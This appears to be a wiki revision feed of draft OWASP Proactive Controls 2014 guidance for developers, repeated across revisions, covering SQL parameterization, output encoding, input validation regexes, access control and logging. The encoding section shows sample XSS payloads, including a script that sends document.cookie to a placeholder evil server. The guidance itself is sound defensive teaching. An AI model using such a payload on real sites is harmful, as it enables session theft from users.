Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection TODO JIMBIRD ==&lt;br /&gt;
&lt;br /&gt;
Application logging should be consistent within the application, consistent across an organization's application portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.&lt;br /&gt;
&lt;br /&gt;
Application logging should be always be included for security events. Application logs are invaluable data for:&lt;br /&gt;
&lt;br /&gt;
* Identifying security incidents&lt;br /&gt;
* Monitoring policy violations&lt;br /&gt;
* Establishing baselines&lt;br /&gt;
* Providing information about problems and unusual conditions&lt;br /&gt;
* Contributing additional application-specific data for incident investigation which is lacking in other log sources&lt;br /&gt;
* Helping defend against vulnerability identification and exploitation through attack detection&lt;br /&gt;
&lt;br /&gt;
Application logging might also be used to record other types of events too such as:&lt;br /&gt;
&lt;br /&gt;
* Security events&lt;br /&gt;
* Business process monitoring e.g. sales process abandonment, transactions, connections&lt;br /&gt;
* Audit trails e.g. data addition, modification and deletion, data exports&lt;br /&gt;
* Performance monitoring e.g. data load time, page timeouts&lt;br /&gt;
* Compliance monitoring&lt;br /&gt;
* Data for subsequent requests for information e.g. data subject access, freedom of information, litigation, police and other regulatory investigations&lt;br /&gt;
* Legally sanctioned interception of data e.g application-layer wire-tapping&lt;br /&gt;
* Other business-specific requirements&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCIDSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. It is important not to log too much, or too little. Use knowledge of the intended purposes to guide what, when and how much.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
TODO: Log Injection&lt;br /&gt;
&lt;br /&gt;
JIM BIRD: Talks about logging of “security events” but doesn’t explain or give examples of what a security event is. Reminder to obey privacy/confidentiality requirements – do not log private/confidential information Maybe should include something brief about protection from log injection (reminder to perform validation/encoding on user input fields that are logged)&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases which include input, behavior and output, and can be tested for functional correctness by Q/A staff.  Functional requirements like re-authentication during change password or a forgot password feature can be reviewed and tested by Q/A staff. &lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features are often multi-step multi-branch workflows that are difficult to evaluate thoroughly, for example eCommerce workflows, shipping route choices, or banking transfer validation. The stories or use cases for these requirements should include failure scenarios (what happens if a step fails or times out or if someone accidentally repeats a step?) and requirements derived from &amp;quot;abuse-cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Thinking about failures and attack scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must be aware of what personal and confidential information needs to be protected and tracked. This will drive the need for access control, encryption and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
Designing secure software is a strategic effort where business, technical and security stakeholders agree on both the functional and non-functional security properties of software well before it is built.  This is not an easy endeavor.&lt;br /&gt;
&lt;br /&gt;
JIM BIRD: Another important part of secure architecture and design is tiering and trust – deciding what is done in the UI, the web layer, the business layer, the data layer, and introducing trust zones/boundaries into this. What is inside/outside of a trust zone/boundary, what sources can be trusted, what cannot be. Attack Surface also comes into architecture/design. Creating an awareness of the system’s Attack Surface, trying to minimize it where possible, understanding when/how you are increasing it and understanding that this increases the risks of attack. For example, anonymous public access to the system, file uploads and interfaces to external systems are all potentially serious sources of security risk. Platform selection: language(s), O/S, web server, database or NOSQL data manager, etc. These architectural choices result in technology-specific security risks and constraints that the team needs to learn about and understand. Know your tools.&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169944</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169944"/>
				<updated>2014-03-11T16:59:31Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
